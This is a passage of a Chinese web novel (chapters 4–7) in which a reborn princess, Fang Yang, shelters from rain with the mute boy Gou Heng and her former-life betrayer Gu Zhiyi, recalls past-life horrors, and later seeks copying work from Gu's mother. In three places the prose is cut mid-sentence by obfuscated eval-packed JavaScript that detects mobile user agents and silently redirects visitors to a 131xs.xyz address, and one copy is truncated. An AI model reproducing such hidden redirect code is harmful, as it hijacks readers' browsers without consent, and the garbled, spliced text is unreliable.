勾衡双手掐着背篓的带子走过来,并不在意辜知易有没有同他说话,而是盯着辜知易的伤口皱眉。 辜知易见方漾没说话,于是又道:“姑娘只需下山进村,喊人过来即可......” 他的眼睛只看了方漾片刻,便又低下头去看自己的脚踝。 他认出我了——方漾眯起眼,低头看着男人无辜又痛苦的模样,心道:真会装啊...... 勾衡原想自己跑去村子里喊人,可又不放心方漾跟这个男人单独待在这里。 而且方漾正在被“通缉”,他不能带她一起去村子里喊人,否则见到她的人太多,容易被认出来。 一时间勾衡愣在原地,就在此时,憋了许久的冬雨终于落下,砸入林中发出窸窸窣窣的响声。 “下雨了......你们快下山避雨去吧,我就自己待在这儿......”辜知易放轻了声音,听着很是可怜,勾衡都忍不住看向了他。 方漾闻言却蹙眉“啧”了一声,有些不耐烦地对辜知易道:“闭嘴,再吵把你从这儿扔下去。” 辜知易:“......” 勾衡:? 4. 第四章 自方漾来满勾村养病,勾衡就没见过她冷脸,这会儿见她忽然对树下的这个男人不耐出声,他便顿时敏锐觉察到二人之间有关系。 辜知易愣了愣,一贯从容冷峻的脸上浮现刹那失措。 客观来说,辜知易此人脸长得确实好看,凤眸剑眉、高鼻薄唇,妥妥的清俊样貌。 即便后来随方漾回了临占那样美人多到数不胜数的地方,也常被人夸长相好看。 但自方漾看透了这个虚伪的男人,便觉得他长得也不过如此,眼尾上吊得厉害,还不如勾衡眼尾下垂的狗狗眼漂亮。 眼见着雨要下大了,勾衡忙上前拉了拉方漾的袖子,向她比划了一下。 勾衡:前面有避雨的地方,我背他去。 方漾是真想直接把辜知易扔这儿淋死算了,但勾衡焦急的眼中传递的是“想救人”的情绪,她怕吓到小孩,只好点了点头。 勾衡见状,忙将后背的背篓移到前面来背,然后背对着辜知易蹲下身。 辜知易今年二十岁,身量高大结实,压在又薄又瘦的勾衡身上,怎么看怎么别扭。 令人惊奇的是,勾衡居然真的将高大的男人背起来了,连方漾都在心中咋舌:小小身躯竟有如此力气! 勾衡憋着一口气背着人往前走,随着走动,背上的男人慢慢滑下来了些,勾衡不敢停,怕一旦停下,便很难再将人背起来。 半只脚掌已经踩在地上的辜知易也不敢乱动,生怕方漾会让这个小哑巴直接将他扔下——虽然并不知道方漾为何初见面就对自己态度那样差。 眼见着两人以别扭的姿势走远,方漾垂眸看了一眼树下辜知易留下的背篓...... 啧,麻烦死了。 她皱着眉不情不愿地将背篓拎了起来,拔腿跟上前面的勾衡。 倒不是她对辜知易还留着情,只是眼下天寒地冻,辜知易来捡柴火是给辜母取暖用的。 辜知易在镇子里读书,回村次数少,每每回来,都会将家中的柴火捡好、劈好,若非如此,辜母一个女子怕是要在家里冻病了。 前世方漾曾同辜母见过几面,在她的印象中,辜母是个温柔又有些娇俏的女子,话语间尽是对女子立世的通透见解,同方漾说起女子嫁娶之事时,会坚定地告诉她“遵从本心”,说起有趣的事时,辜母又笑得像个未出阁的少女。 以至于前世方漾听到她的死讯时,怅惘良久。 方漾拎着背篓,冰凉的雨水砸在头顶,额上的头发没一会儿就湿了,一缕一缕黏在眉毛边。 她回想起前世与辜知易相处的过程,其实两人尚在双宵时,日子还是很快活的。 抽丝剥茧地回望过去,辜知易的面具似是从辜母死后开始戴的,只是方漾彼时忙着同方勤时斗,也心系西阚战事,并无暇顾及他的情绪...... 虽然方漾恨辜知易,但辜母并未做错什么。 在头发彻底被打湿前,方漾终于到了勾衡“说”的避雨处。 这是一座简陋得不能再简陋的茅草亭子,只有四根竹竿支着一片薄薄的茅草顶。 方漾甚至觉得随意吹来一阵风,这亭子便要倒了。 可随着雨势渐大,亭子却还依然屹立不倒,她便也跟着稍稍放心了些。 方漾将背篓扔在辜知易身前,什么都没说,转身抱臂望向林中。 她心中自然盛着前世怒火,恨他骗自己十余年,也恨他真的能狠得下心砍下她的头颅。 眼下再次相遇,看在辜母的面子上,方漾只想离辜知易远远的,但若辜知易执意要来打扰她,那她也不会手软。 这么想着,她怒火微息,情绪消退后,周身便迅速冷了下来——头发湿湿的,整个脑门都在发冷。 忽然肩上多了一双手,方漾转头去看,是勾衡将他自己的浅色袄子脱了下来,搭在了方漾的肩头。 方漾正要让他自己穿回去,却又见他不知从哪儿掏出来一块干布,看着像是什么绢料的帕子,只是帕子老旧了,已然看不清上面的绣样,布料也破了几个洞。 勾衡将帕子递给方漾,示意她擦擦头发。 方漾抬手一边擦头发一边道:“你把袄子穿好,我擦干头发就没事了,不冷。” 勾衡接过她挥落的袄子,在原地站着没动。 方漾眸子一转,直直盯着勾衡,压了压眉毛,道:“穿。” 这孩子不知怎么回事,偶尔有些犟,非要人瞪一眼才肯听话。 果然勾衡被方漾瞪了之后,立刻将袄子穿了回去。 坐在地上看着两人互动的辜知易觉得自己存在感太低,于是见缝插针地咳嗽了两声,试图引起方漾的注意。 但方漾只是瞥了他一眼,便又将脸转向了雨幕。 勾衡从背篓中抽出柴火,转到方漾面前比划。 勾衡:要烧柴火取暖吗? 方漾垂眸思索了一下,果断点头——柴火用完了,改天再来捡就行,但要是因为淋雨生了病,那药费可不是小钱。 辜知易揪了揪自己衣裳下摆——方漾宁愿看哑巴比比划划也不愿意同他搭话...... 他自认长相不俗,难道说这位从战场上回来的公主并不喜他这副书生样貌? 勾衡捡着没怎么被淋湿的柴火,在亭子中间搭好,不一会儿,木柴燃烧的噼啪声细碎响起,在这山中大雨中并不明显,却足够让三人感到温暖。 “姑娘是织段村人吗?先前没见过你。”辜知易试图搭话。 方漾知道他这是想试探出自己的住处,她侧头看了辜知易一眼,冷声道:“路过而已。” “啊......我观姑娘面善,又在山中与姑娘结缘,想结做好友,姑娘意下如何?” “不如何。”方漾斩钉截铁道。 从前她是真没发现辜知易是这么忘恩负义之人,分明是勾衡费力气将他背至此处,还大方贡献自己捡的柴火给大家取暖,辜知易却只盯着自己,对勾衡连句道谢都没有。 方漾忍不住将脑袋转向另一边,去看那身形单薄的小哑巴。 小哑巴正拿着一根树枝去拨弄火堆,生怕它灭了,感觉到方漾在看自己,他便对上她的目光,微微歪了歪脑袋:怎么了? 方漾顿时更加觉得辜知易不是人了。 辜知易见方漾不理会自己,这下也没了招,只好闭上嘴,默默等雨停。 勾衡将先前方漾擦头发擦湿的破帕子烘干,又重新递给了方漾。 他抬手指了指方漾的脑袋,做了个擦拭的动作。 方漾也不客气,接过干帕子将自己头上剩余的雨水都擦干了,见帕子还有一半是干爽的,她便干脆地掰过勾衡的脑袋,将他头上的水也擦干了。 勾衡被方漾抓着后颈,只能不自觉仰起头。 破旧的帕子早就不如从前柔软,粗糙的帕子刮在脸上本是该疼的,但方漾给他擦水的手力道并不强,刚刚好能擦水,又不至于磨得皮肤疼。 勾衡只瑟缩了一下,便乖乖放松下来由着方漾擦了。 方漾感受着指尖干瘦的脖颈,不自觉微微蹙眉——这小孩真的太瘦了...... 辜知易在一旁默默用湿了半边的袖子擦了擦自己的头发,发觉无用后,只好往前挪了挪,伸手让火苗烤干袖子先。 勾衡从破帕子的缝隙看见了辜知易的动作。 他不傻,从遇上辜知易到方才辜知易主动搭话,他都能看出来,这个男人在故意引起方漾的注意。 可这个男人看起来非常不靠谱,又没礼貌又急功近利,勾衡不喜欢他。 雨停后天已几近全黑,柴火堆灭了后周遭便愈发看不清了。 方漾起身对勾衡道:“走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333311|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 勾衡忙背起背篓战起身。 “路上黑,不若我送姑娘下山?”辜知易也跟着站起身,单腿站着。 方漾转头看向他,正要出言嘲讽,却感觉衣摆被人扯了扯。 勾衡抱住双臂,做了个打抖的动作。 “冷?”方漾蹙眉,火灭了确实有点冷,得赶紧回家去,于是领着勾衡往来时的路走,将辜知易抛在了脑后。 勾衡走了两步,又默默转头望向辜知易——那个男人的脸色瞬间冷了下来,面对勾衡时,他不屑戴面具。 勾衡抿了抿唇,没做什么,而是转头跟上了方漾。 还未到家,两人就远远看见施慕虹在门前等着。 妇人身形瘦弱,袄子也不算厚,佝偻着身子一边跺脚取暖一边向外张望,看见方漾与勾衡的身影时,她立刻举手朝两人喊:“回来了?” 没有斥责两人怎么去了这么久,也没有觉得两人一个下午只捡了半筐柴火回来很没用。 施慕虹进屋后便取了用来换洗的袄子给两人取暖,还去厨房架锅烧热水。 方漾裹着干净的袄子坐在屋子里,觉得很不好意思——她只是想出去活动一下,没想到还给人添麻烦了。 好在两人淋雨后及时擦了水,夜里用热水擦干净身子后,两人都没有生病迹象。 相反,辜知易这边就惨多了。 他背着背篓一瘸一拐走回了家,辜母心疼得不行,忙去叫了村子里的赤脚大夫来,可大夫才给他处理了脚踝的伤离开,辜知易却又发起热来。 辜母不得已,只能又去请了赤脚大夫来。 大夫是个有仁心的,夜里被叫来叫去两趟也未生气,给辜知易抓了药才又离开。 “娘......”烧得两颊发红的辜知易不知梦见了什么,一直喃喃喊着辜母。 辜母担忧地坐在床头,用凉帕子给他擦汗,回应他:“娘在呢......娘在......” “娘......别怕......我会救你......我这就去求她......”辜知易还在闭眼说着梦话。 “求谁啊?娘没事呢......”辜母不知道儿子这是怎么了,魔怔了一般说要“救”自己。 她不知道,在辜知易的梦中,她被一群彪形大汉带去了牢狱中,官府说她传播禁书,影响巨大,要处死她。 辜知易先是说理后是威胁,最终在官府门前磕头下跪,得到的也仍是一句“回去吧,你娘的罪已定了”。 辜知易走投无路,于是散尽家财,托人往临占宫中送信,企盼着方漾能收到他的求救,来双宵救辜母...... 而彼时方漾被软禁于宫中,方勤时给她吃喝,却又不许任何人同她说话,也不许她做任何事,活像个被人夺去手脚与声音的宠物...... 如今回忆起被软禁于宫中的日子,方漾仍心有余悸。 四面都是高墙,宫殿里没有一丝声音,除了她,周遭没有活物,要不是能看见日升日落,她怕是连当下是什么时辰都不知道。 方勤时想折磨她,起先她以为自己能扛过去。 但一个月后,她便开始出现幻觉,时常在宫殿花园中看见涵柘战场上呼救的战士,尸山血河散发出的腐烂臭气叫她呼吸不得...... “呵......”方漾猛地抽了一口气睁开眼,看见那熟悉的茅草顶,身子才微微放松了些。 屋子角落里忽然有动静,她警觉地转头望过去——是勾衡被她吵醒了。 小哑巴撑起上半身,亮晶晶的眸子盯着方漾看。 方漾顿时收回了锐利的目光,仰躺在床上调整呼吸。 不一会儿,她感觉到勾衡正在靠近。冰凉的瓷碗碰了碰方漾的脸颊,她转头看向勾衡。 勾衡正端着一碗水看向她:要喝水吗? 5. 第五章 雨后冬夜比平日里更冷,勾衡才出被窝没一会儿,脖子都凉透了。 伺候方漾喝完水,他正要端着碗离开,却被方漾拉住。 方漾抓着少年细细的腕子,掌心感受到隐隐的热度,确认勾衡是真实存在的后,她忍不住松了口气——没关系,前世的事都过去了,她重生了,这一世不会再重蹈覆辙...... 勾衡不明所以,只好乖乖转过身面对着方漾。 方漾想跟他说两句话,却忽然想起他是个小哑巴。 她的目光从勾衡的眼睛落到他的脖子上——细细的脖颈上有一条手指长的狰狞疤痕。 方漾记得前世她问过施慕虹,勾衡为什么是个哑巴。 施慕虹说,勾衡八岁那年被山上的流寇刺穿了声带,这才变成哑巴的。 勾衡八岁,方漾十一岁,她记得那年方勤时经常大半夜发疯,听说是南边战场不顺,战报雪花般一片接一片地往宫中送。 这事闹得大,不仅宫中,全大荆的百姓也全都知道了,南边战场打不过,只能实行人海战术,不断从境内招兵。 世家子弟动不得,征兵官员们自然先将目光投向了偏远地方的壮劳力。 起先百姓们还积极响应招兵,但随着前方战败的消息不断传来,百姓们渐渐生了退缩之心,不少人宁愿落草为寇。 山匪多了起来,无法从事正规生产劳动,只能下山抢村子,勾衡就是被这群山匪刺穿了声带。 “阿衡很聪明,被刺穿了喉咙就躺下装死,这才躲过一劫......”施慕虹说起这件事时忍不住抹了抹眼泪,“怪我身子弱,赶回家的路上被人撞倒摔昏了过去......” 方漾听说此事后,想过要去找山匪寻仇,但施慕虹说那些山匪早就不知跑到哪里去作乱了,战事一日不平,天下就一日不平。 方漾在南边涵柘战场上,凭的是心中一口“想要向方勤时证明自己”的气。 她在军事上有着极强的天赋,又年轻气盛、锐不可当。 虽说一开始被打得有些绝望,但在她重新振作起来后,她便在战场上一路高歌猛进、所向披靡,可却从未回望过自己守护的那方土地。 百姓们的泪水、欣慰、称赞,她统统都不知道。 她也不会知道,率军离开涵柘那天,数万百姓沉默着跟在大军后,将他们从南城门送出了北城门。 彼时她的心中只想快快回到临占,让方勤时看看她,看看她这个自小不受重视的女儿,给他挣了个多大的面子! 可以说,方漾初上战场,只是为了博得方勤时的青眼,只是想证明自己一点也不比方天佑差。 后来方漾又率军去了西阚,这一次她的心中不再对方勤时抱有期待,她要先活着、拿到兵权与朝中大臣的支持,然后将方勤时从至尊之位上拉下来! 想拉方勤时下台,必然要缓缓图之,她强迫自己慢下来,一步一个脚印地踩踏实,这才有了空闲观察百姓。 失去双亲的孩子在尸堆中嚎啕大哭,牙都没长齐,却懂得要将父母尸体拖去空地安葬。 身形佝偻的老人拄着木棍在战场上翻找食物,嘴角平直、眼神呆滞又麻木。 男人们死的死、残的残,年轻的女人们在脸上涂满污泥,头发也扯得乱七八糟。 本该是青春绽放的年纪,却只能穿着灰扑扑的破衣裳,将自己弄得又脏又臭,期盼能在乱世存活下去。 方漾骑在马上,远远望着城门口的场景,眉头微微蹙起——大荆有着千家万户,每打一次仗,就有无数家庭破碎,他们不是彼此无情,而是被迫阴阳相隔...... 那一刻她忽然想问问自己:这天下只有方勤时一人吗?这么多年他对自己不闻不问,难道不就是最明确的回答了吗?为何还要执着于得到他的认可呢? 她策马向前,路过城门口时,将浑身浴血坐在尸堆里哭泣的小孩一把抱上了马。 那孩子紧张地扒在她身前,一双怯生生还盈着泪水的大眼睛盯着她。 “你是谁?” “方漾。” “方漾是谁?” “方漾是会结束西阚战事的女将军。”她斩钉截铁道。 帝王无情,纵使同活于世也无法情感相通;百姓有义,却被迫生离死别。 之后的十年间,她扎根西阚,在敌众我寡的劣势下一次又一次战败又爬起,直到将西边赤蛟部落的首领人头割下。 前世的浴血奋战、艰难困苦,全都历历在目。 而眼下,方漾看着勾衡脖子上的疤,暗下决心,这一世,她要用比十年更少的时间将赤蛟部落驱逐出去。 勾衡呆呆看着方漾,她的眼中透着坚定与决然,完全不像这个年纪的女子所能展现出来的...... “没事......你去睡吧......”方漾回神,轻声对勾衡道。 勾衡点点头,转身走了两步,又缓缓回头看了方漾一眼,见她已经平躺了回去,他便不再看了,轻手轻脚地回了自己的地铺。 翌日一早,施慕虹如往常一样分锅煮好豆腐与米汤,然后裹上薄袄顶着漫天风雪出了门。 她上午要去村头李婶家帮忙洗衣服做饭,李婶算得上是村子里数一数二的“殷实”人家,学镇子上的富户招了“老妈子”帮忙干家务。 施慕虹手脚麻利,性子又温和,李婶说她有眼缘,这好差事才落在了施慕虹头上。 平日里村子上发生点大大小小的事,也都有李婶帮忙照应着,这孤儿寡母的才算能立得住脚。 待李婶中午起了,家里的事也就都被施慕虹干得差不多了。 施慕虹将午饭的碗碟洗了,同李婶道别,又赶去了村口的驿站。 村口有个收发信件的驿站,说是驿站,不过是一间小破屋子。 屋子由一个年过半百的老头守着,不识字的村民要写信出去,或者要有人帮忙读信,都会找这个老头。 后来施慕虹来了,她少时也读过一些书,虽不能作诗写赋,却也是识字的。 老头年纪大了精力不济,便雇了她来帮衬。 在小屋子里待一个下午,替村民们写写信、念念信,天也就快擦黑。 待她赶回家里煮上豆腐与米汤,勾衡与方漾也捡柴火回来了。 方漾就这样跟在勾衡身后捡了十几日的柴火,感觉身子除了比卧床时灵活些,并无其他益处,反而伤口还有些隐隐作痛起来。 这下她不敢动了。 “你去捡柴火吧,我伤口疼,得休息......” 又是一日喝过米汤,原本方漾是要跟着勾衡上山去捡柴火的,但她却捂着腹部坐在床边,声音也有些弱了。 勾衡忙放下背篓走上前,方漾抬头望着他。 少年的眉毛皱在一起,狗狗眼里是满满的担忧,他指了指方漾的腹部,又在自己腰侧比划了一下赤脚大夫常背着的药箱,似是在问方漾,要不要叫大夫过来。 “先别叫,我休息一下,如果明天还不好,再叫大夫来......”方漾在战场上待久了,对身上的伤算是有些经验。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333312|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >眼下看着,她像是前几日劳累过度,牵扯到了伤口,好生歇歇就行了。 若是这时请了大夫,不免又要开几副药方子——施慕虹与勾衡本就没钱。 “真没事,你去捡柴火吧,我睡一下。”方漾躺回床上,冲勾衡摆了摆手。 勾衡哪肯走。 早先他与方漾不熟,听说是临占来的公主,还以为她会同镇子上的小姐们一样嫌弃自己。 却未曾料到,方漾从未嫌弃过他,而且身上也没有“公主架子”。 方漾每次同他上山捡柴火,都会尽力捡很多,有时候在地上发现了虫子和蛇,她也只是冷静地用木棍挥开,丝毫不像个十八岁的小女子。 他知道方漾肯定是痛得不行了,才会说不去捡柴火。 方漾闭眼躺了会儿,感到床边的人还没走,于是又睁开眼看向他。 “怎么了?” 勾衡攥了攥拳头,走近了半步,指了指方漾的伤口,又拍了拍自己的胸口,张了张嘴却没发出声音。 “你担心我?” 勾衡点头。 “可你不是要捡柴火卖钱吗?不能柴火都不捡了,光守着我吧?”方漾好笑道。 眼前的少年单纯得可以,什么心思都写在脸上,她心中默默道:难道是因为口不能言,所以才养成了什么话都挂在脸上的习惯? 勾衡眨了眨眼睛,侧头看了一眼脚边的背篓,犹豫了片刻,还是在床边蹲下了,一副“我要留下来守着”的模样。 方漾见他蹲在床边,只露出一双微微下垂的大眼睛,忍不住笑了一声——跟先前在涵柘遇上的大狗狗一样。 勾衡不知道她为什么要笑,但她笑起来很好看,于是他也跟着笑。 少年的脸庞还很青涩稚嫩,笑起来的时候眉眼弯弯,原本无辜下垂的眸子变得亮晶晶的。 方漾嘴角的笑滞了一瞬,但在勾衡发觉前,她便收了那一丝不自然。 方漾忽然想起来,前世她很少看到勾衡笑,更多的时候,他都是用一种担忧的眼神望向自己。 不知道是在担忧她的病好不好得了,还是在担忧她会给他们家带来灭顶之祸。 她又一次想起前世见到勾衡的最后一面——他面色苍白,瘦削的身子被罩在宽大的太监袍子里,迎风跑起来的时候,能看见细细的骨架。 他那时候有多绝望呢? 彼时勾衡被人以能见到方漾的谎言骗进宫净了身,却在醒来后听闻方漾即将率兵远征。 他不顾疼痛,挣扎着从床上爬起来,踉跄着追到了城门口,看见了队伍前方坐在马上一身盔甲的飒爽女将领。 他一边嘶吼一边往前追——他与方漾熟识后便很少在方漾面前发出这样嘶哑难听的声音,他怕她不喜欢。 但此时,勾衡只想要奋力追上她,告诉她,她身边那个名义上的夫君亲手杀死了施慕虹!那个男人还说总有一天要杀了方漾! 不要走!回头看看我!求求你!回头看看我! 勾衡“大声”喊着,可他根本无法说出完整的句子,那些心中的呐喊虽然爆裂,却十分安静。 方漾似是听到他了声音,忽然勒马,缓缓转过头来。 勾衡像是看见了希望,本来疼得发抖的双腿忽然又有了力气,猛地往前追了两步。 却见那个可恨的男人在方漾边上附耳说了两句什么,方漾点头应下,最后看了勾衡一眼,便转身策马离开了。 勾衡的眼前变得模糊起来......他跑不动了,他痛得要死掉了...... 6. 第六章 “你把地铺挪过来吧,这么干守着太冷了。”方漾对勾衡道。 勾衡立刻去把自己破得干草乱呲的铺盖拖了过来,挨着床放,然后用薄薄的、满是补丁的被子裹紧了身体。 方漾是真的难受,见勾衡安顿好了,便闭上眼睡了过去。 这一觉睡得很沉,沉到她以为自己睡了好几日,睁眼时听到门外的劈柴声,她还怔愣了一下。 好在身子好多了,她翻身下床推开门,看见勾衡正在院子里劈柴。 虽然戴了斗笠,但却挡不住四面八方刮来的雪花,他的眉梢、肩头都落了点白。 勾衡停下手中动作,抬头望向方漾。 方漾心里有些发酸——她身子不好,想休息就能躺下休息,但勾衡不能,他要捡柴火、劈柴,再把柴火驮到镇上去卖...... 这一切都是因为家中贫寒。 方漾抿了抿唇,她不能让施慕虹与勾衡继续这样辛苦艰难地过日子。 前世她去西阚后不久便收到辜知易来信,说施慕虹死了,是受人蛊惑下溪水捞鱼淹死的。 施慕虹与勾衡从未做错过什么,在这样烂的世道中依然努力求生,世上千万百姓也是如此。 他们比方勤时纯粹、坚韧,却因出身不同而一辈子被人踩在泥里。 方漾不想让他们等了,即便只是让生活好转一点点,她也愿意出一份力。 “我要去一趟织段村。”她忽然开口。 勾衡放下斧头,抬起手在自己脑袋上面比了比:你要去找那个比我高的男人? “嗯。”方漾应声。 村子里赚钱的门路几乎都是卖力气的活儿,她眼下卖不了力气,但胜在写得一手好字,若是能搭上辜母这条线,兴许能赚点银钱补贴家用。 她这伤少说还要养两个月,重活儿不能干,但在家抄书应当是能做的。 方漾这么想着,随手将剩下的斗笠戴在头上,抬眼才发现斗笠边缺了一块,有些遮不住风雪。 这时一只瘦杆儿似的手臂从她眼前掠过,将她的斗笠摘了下来,换了一顶相对完整的。 方漾看着勾衡把缺了一块的斗笠戴在他自己脑袋上,便道:“这个遮不住风雪。” 勾衡点点头:我知道。 “那你挪到屋檐下面去劈柴吧?当心淋雪惹风寒,我天黑前会回来。”方漾一边叮嘱一边用布条蒙住脸。 她往外走,却不见勾衡乖乖挪柴火,而是看他跟在自己身后出了院子。 “你也去?” 勾衡点点头——上次救的那个高个子男人总盯着方漾看,他觉得此人很不对劲。 “那一起吧。”方漾也不拦他,让勾衡跟着去也好,让他亲眼看着自己要做什么,就不会担心了,而且方漾也不太认得去织段村的路,省了问路的时间。 勾衡领先方漾半步,带着她往织段村去。 双宵的大雪下得纷纷扬扬,山脚下的村子不算大,矮屋子一团团聚在一起,都盖着一层厚厚的白雪。 远远望过去,白皑皑一片,叫人有些分不清方向。但勾衡认得路,即便在一片白雪中也畅行无阻。 两道灰色的人影缓缓在洁白画卷上划出一条路来。这路是由两人的脚印踩出来的,稀疏、蜿蜒,却在茫茫天地中连成了一道亮眼的线。 “老人家,烦请问一下,辜家屋子在哪儿?”方漾进了织段村,直接敲响了村头一户人家的门。 “里头!往里头去!”开门的老人家耳朵不好,说话嗓门也大。 “谢谢老人家!”方漾也提高了声音答他,勾衡站在她后面朝老人家鞠躬。 两人往里走了一段,方漾正要再敲一户人家问路,便看见开门的正是辜母。 辜母原名连棠,生下辜知易时才十九,眼下也未到四十,瞧着很年轻。 “二位是?”连棠不确定地看了一眼两人身后的大雪,猜测道,“是路过此地,被雪困住了吗?进来喝点热茶吧?” 勾衡不认得连棠,正要摆手,却听方漾应声,他顿时愣在原地。 方漾进屋自然也没忘记勾衡,她头也不回地反手拉住勾衡的手腕,将他往屋里带。 勾衡的腕子冰冷,被方漾温热的手握住时,他忍不住颤了一下。 “冷?”方漾觉察他的异样,忙转头小声问他。 这屋子不算大,即便方漾压低了声音,连棠也还是能听见她在说什么。 “冷吧?今天风大,又下雪,外头冷得很......”连棠一边说着,一边从烧着火的炉子上取了热水兑给两人喝。 方漾接过第一碗热水,直接转身递给了勾衡。 勾衡捧着碗,想让方漾先喝,却被她瞪了回来:快喝。 于是勾衡低头咕咚咕咚将热水喝了个精光,方漾这才接过第二碗水,摘了面巾,喝了下去。 “两位这是要赶去哪儿?这大雪天的路可不好走啊......”连棠还要打热水,被方漾拦下了,于是放下碗问两人。 “我是来找您的。” “找我?”连棠脸上露出了惊讶神色。 她带着辜知易从临占到了双宵,就是不想再与旧人有联系,再说了,他们娘俩在村子里住了这么多年,也没有旧人寻上门来。 她蹙眉想了想,莫非是书局的人?可眼下她写的东西并见不得光,同书局那边也有特殊的联系方式,不至于派人上门来...... 就在她纠结无果时,方漾开门见山道:“我听闻您平日里会接一些抄书的活儿,便想着来问问您是否能为我引荐一二,我身子不好,干不了重活,家里都是母亲与弟弟在操持,实在辛苦......” 其实方漾此时也有些不好意思,一般来寻人帮忙都是要带礼的,可她实在没钱去置办这些,只能厚着脸皮过来,若是真的能靠抄书赚些银钱,她以后定会补上这份礼。 连棠听了方漾说的,不疑有他,毕竟她对外都说自己在家抄书赚钱,这事儿附近村子的人也都知晓的。 先前还有村民想将家中幼龄的孩子送来学字,但她那时已经在写风月本子了,所以到底还是没有接这差事。 连棠见方漾眉眼周正英气,虽面色苍白了些,却透着股坚韧劲儿,是在偏远村子里难得一见的女子气概,她的眼中不自觉带上了些欣赏。 勾衡不知道方漾要做什么,明明一开始是说来找辜知易的。 不明所以的勾衡站在方漾后背悄悄观察了连棠一会儿,忽然发觉她与辜知易长相相似,他忽然福至心灵——这里真的是辜知易的家! 勾衡在震惊中一直盯着连棠看,直到连棠的目光转到他脸上来。 勾衡眨了眨眼,忙抬手点了点自己的喉咙,而后摆摆手:我不会说话。 “我弟弟说不了话,您见谅。”方漾适时开口道。 连棠点点头,面前这对姐弟穿着都十分朴素,即便是在这偏远村子里,也算得上是“贫寒”了。 尤其是方漾双手上缠着的布条。 连棠还记得,当初辜家被抄,他们一群人流落街头时也是这样的冬日。 彼时辜父双腿已断,动弹不得,只能在寒风中硬扛。她怕辜父冻坏手,便将自己的衣摆裁下来给辜父裹手取暖...... “你字写得如何?”连棠问。 方漾听了便知有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333313|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏,于是正色道:“算得上端正,可以试字。” 原先书局试字是要去掌柜那里交押金,再将要抄的书册带回来,抄写完再送回去等消息的。 但连棠与书局掌柜相熟,家中也有笔墨,于是当场便铺了纸笔,让方漾写字。 卧床许久,方漾再次提笔时,手都有些颤抖,笔尖墨汁不当心落在纸面上,很快晕成了一朵细瓣乌花。 勾衡双手相握,有些紧张地看向方漾。 他不笨,经过连棠与方漾一来一回的对话,他也能看出来,方漾是来寻差事做的。 可两人穿过冰天雪地一路走过来,才进屋子没多久,手还僵着,这会儿写字怕是对方漾不利。 勾衡想同连棠解释,却见方漾凝神将笔尖落在了纸上。 方漾虽自小不受方勤时重视,但乔浣玉却处处替她打点得周到。 吃穿上虽不似方天佑那样极度奢靡,但至少干净、合礼数,其他一应用度也是如此,因此方漾才未养成方天佑那样的骄纵性子。 到了开蒙的年纪,方勤时对方漾不闻不问。乔浣玉想了许多法子,让相熟的太监、宫女们在方勤时面前暗示他,他却如同压根没生过这个女儿一般,一点都想不起来。 乔浣玉怕错过方漾开蒙的年纪,只好自己去国子监求人。碰壁多次后,终于有人应了她的请求。 应她的人是李晃,国子监祭酒,白日里都待在宫中,只有晚上才散值回府。 小方漾不便出宫,乔浣玉便自己拎着精心准备的拜师礼上门。 李晃什么都没收,只说待他教会了小方漾识字后,想让小方漾送他一副墨宝。 原因无他,当初李晃初入朝堂,性格刚烈,曾失言顶撞过方勤时。 是卢夏在危急时刻挺身而出,夸赞李晃字写得好,想同他讨要一副墨宝,这才巧妙地将顶撞之事敷衍了过去,让李晃躲过一劫。 眼下朝堂上无人在意小方漾,都默认方勤时早晚会将这位小公主扔出皇宫。而李晃却一直默默注意着方漾,即便乔浣玉不找过来,他也会找过去。 恩人之子不应当被永远困于高墙中,况且一国太子从小受尽溺爱,明眼人都瞧得出国之根基已经开始被腐蚀,若不尽快锐意求变,只怕待大家反应过来时,大荆的倾颓之势已不可挽回。 方漾在李晃的眼中,就是大荆最后的希望。 李晃将自己的毕生所学教给了方漾,他的学识、见解、方略,还有他被世人称赞的字。 方漾落下最后一笔,收了手。 勾衡低头去看,纸上只有两句诗:只解沙场为国死,何须马革裹尸还。 笔力遒劲、方正有度,却总觉得缺了些意味,勾衡感到心中闷闷的。 连棠低头看了一眼,心中连连赞赏。 这两句诗本是抒怀解意、气势磅礴之势,却被困于端正字体中,如雄鹰伏笼、猛虎落阱,叫人心中难平。 但细究,又能看出这字并非单纯板正,落笔人在练字上是下过苦功夫的。 看得出,方漾不仅能写这样端正的字体,还能写更加狂放肆意的字,只是抄书无需那样强烈的风格,所以她才收了气势、换了字体。 方漾抬眸去看连棠的脸色,见她眼中有光,便知晓此事大约是成了。 但她心中还未来得及高兴,便被门外走进的一人打搅了心情。 “娘,雪下得大,夫子让我们雪停后再返院......”辜知易低着头推开门,一边抖落身上的积雪,一边说话,并未注意屋子里多出来的两人。 方漾默默转过脸去翻了个白眼,连棠没看见,却被一直盯着方漾看的勾衡看见了。 7. 第七章 